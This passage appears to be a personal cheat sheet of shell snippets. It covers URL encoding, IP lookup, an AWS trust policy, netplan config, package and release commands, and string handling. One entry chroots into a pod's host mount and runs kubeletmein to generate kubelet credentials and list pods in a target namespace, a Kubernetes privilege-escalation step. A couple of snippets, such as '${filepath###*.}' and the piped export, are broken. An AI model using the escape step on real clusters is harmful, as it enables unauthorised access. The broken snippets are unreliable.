            [a-zA-Z0-9.~_-]) printf '%s' "$c" ;;
            *) printf '%%%02X' "'$c" ;;
        esac
    done

    LC_COLLATE=$old_lc_collate
}
urlencode "a string yay"

curl -s https://ipapi.co/$(curl -s ifconfig.me)/json | jq

cat > trust_policy.json <<- EOM
{
  "Version":"2012-10-17",
  "Statement":[
   {
      "Effect":"Allow",
      "Principal":{
      "Service":"ec2.amazonaws.com"
    },
    "Action":"sts:AssumeRole"
    }
  ]
}
EOM

FOO=${1:-bar}
DOG=${2:-yes}

echo ${FOO}
echo ${DOG}

bash test.sh

## Output:
bar
yes

bash test.sh chicken no

## Output:
chicken
no

echo $@

aspell check --mode=markdown --lang=en README.md

chroot /home/ubuntu/chroot/codebase /bin/bash <<"EOT"
cd /tmp/so
ls -l
echo $$
EOT

DIR=~/Downloads
EXT=jar

ls "${DIR}" | grep "${EXT}" | xargs -I {} rm "${DIR}/{}"

kubectl exec -it -f helm_file.yaml -- chroot /mnt /bin/bash <<EOF
./kubeletmein generate
./kubectl --kubeconfig ./kubeconfig.yaml get pods -n ${TARGET_NAMESPACE}
EOF

setcap 'cap_net_bind_service=+ep' /path/to/program

npm install -g wscat
TARGET="wss://ws-feed.gdax.com"
wscat -c "${TARGET}"

# The strip() at the end removes any trailing newlines
echo "ABC" | python3 -c "print(open(0).read().lower().strip())"
echo "ABC" | sed 's/./\L&/g'
export a="ABC" | echo "${a,,}"

#!/bin/bash

read -p "Enter first string: " VAR1
read -p "Enter second string: " VAR2

if [[ "$VAR1" == "$VAR2" ]]; then
    echo "Strings are equal."
else
    echo "Strings are not equal."
fi

dpkg --print-architecture

MISSING_PACKAGE=coreutils ## change this based on your situation
cd && apt-get download "${MISSING_PACKAGE}"
dpkg -i *.deb

filepath='/path/to/file.txt'
extension="${filepath###*.}"
filename="$(basename ${filepath})"

dnf -y --disablerepo '*' --enablerepo=extras swap centos-linux-repos

## Get all functions into newline separated string
fstr="$(declare -F \
    | awk '{print $NF}' \
    | sort \
    | egrep -v '^_')"

## This entry also covers converting a multiline string
## to an array:
SAVEIFS=$IFS   ## Save current IFS (Internal Field Separator)
IFS=$'\n'      ## Change IFS to newline char
funcs=($fstr)  ## split `fstr` into an array by the same name
IFS=$SAVEIFS   ## Restore original IFS

echo "This file has the following functions:"
for f in "${funcs[@]}"; do
  echo "${f}"
done

Prompt=lts

Prompt=normal

sudo do-release-upgrade

var=one-two-three
cut -d '-' -f2- <<< $var # outputs: two-three
var=four-five
cut -d '-' -f2- <<< $var # outputs: five

export OS="$(uname | python3 -c 'print(open(0).read().lower().strip())')"
export ARCH="$(uname -a | awk '{ print $NF }')"

---
network:
  ethernets:
    eth0:
      dhcp4: false
      addresses: [192.168.20.124/24]
      routes:
        - to: 0.0.0.0/0
          via: 192.168.20.1
          metric: 100
      nameservers:
        addresses:
          - 1.1.1.1
          - 8.8.8.8
          - 192.168.20.1
  version: 2

netplan --debug apply

network: {config: disabled}

sudo dumpe2fs /dev/sda1 | grep 'Filesystem created:'

COMMAND='terragrunt init --reconfigure'
for d in ./*/ ; do (cd "$d" && $COMMAND); done

raw_arch=$(uname -m)
case $raw_arch in
    x86_64)
        ARCH="amd64"
        ;;
    arm64)
        ARCH="arm64"
        ;;
    *)
        echo "Unsupported architecture: $raw_arch"
        exit 1
        ;;
esac
export ARCH

export TERM=xterm # resolves "No value for $TERM and no -T specified"